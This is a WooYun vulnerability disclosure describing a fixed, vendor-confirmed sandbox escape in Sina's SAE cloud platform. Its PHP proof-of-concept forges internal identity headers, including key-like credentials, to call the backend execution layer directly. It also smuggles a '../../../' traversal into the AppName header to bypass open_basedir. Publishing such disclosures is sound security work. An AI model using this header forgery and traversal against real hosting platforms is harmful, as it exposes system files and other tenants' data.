当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03687

漏洞标题:新浪SAE云平台文件系统沙箱绕过

相关厂商:新浪

漏洞作者: 结界师

提交时间:2011-12-20 20:09

修复时间:2012-02-03 20:09

公开时间:2012-02-03 20:09

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-12-20: 细节已通知厂商并且等待厂商处理中
2011-12-20: 厂商已经确认,细节仅向厂商公开
2011-12-30: 细节向核心白帽子及相关领域专家公开
2012-01-09: 细节向普通白帽子公开
2012-01-19: 细节向实习白帽子公开
2012-02-03: 细节向公众公开

简要描述:

此次问题较早发现,目前已经通知SAE进行修复,主要是由于在设计代码执行环境的时候存在一些缺陷,导致用户代码逃脱执行环境的文件系统沙箱,访问平台系统文件以及其他用户的文件资源

详细说明:

在SAE的设计架构里,应用有效性检查逻辑和真正的执行环境是分开的,执行环境完全设计为为执行代码,而真正的应用有效性检查逻辑(譬如是否存在,是否资源过载,是否被封禁等等)均由另外一层完成,真正的代码执行环境只负责执行代码,而执行代码时的限制是动态的完成的,执行层和前端逻辑层通过http协议协议完成通讯,应用的身份和权限全部在http头里由前端传递过来,这样就存在一个逻辑错误,如果应用能够自身构造一个http请求就可以任意的调用后端执行层的逻辑,而在执行层的逻辑里存在一个缺陷,动态生成的open_basedir是由应用的名字等拼接而成,这就导致可能可以绕过。
1 执行自己的http请求

if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}
stream_wrapper_restore("http");


$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage\r\nAccessKey: ynz0jyo1k1\r\nSecretKey: 1zhwzm5l4yilzyj54xiim5ddywwzzzz342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));


2 利用后端逻辑缺陷绕过open_basedir

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage/1/:/:/../../../\r\nAccessKey: ynztttt1k1\r\nSecretKey: 1zhwzm5l4yzzzzyj54xiim5ddywwzill342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

漏洞证明:


修复方案:

SAE目前已经修复

版权声明:转载请注明来源 结界师@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2011-12-20 20:29

厂商回复:

感谢结界师帮SAE进行的全面安全评估,目前SAE的一系列问题都已经修复

最新状态:

暂无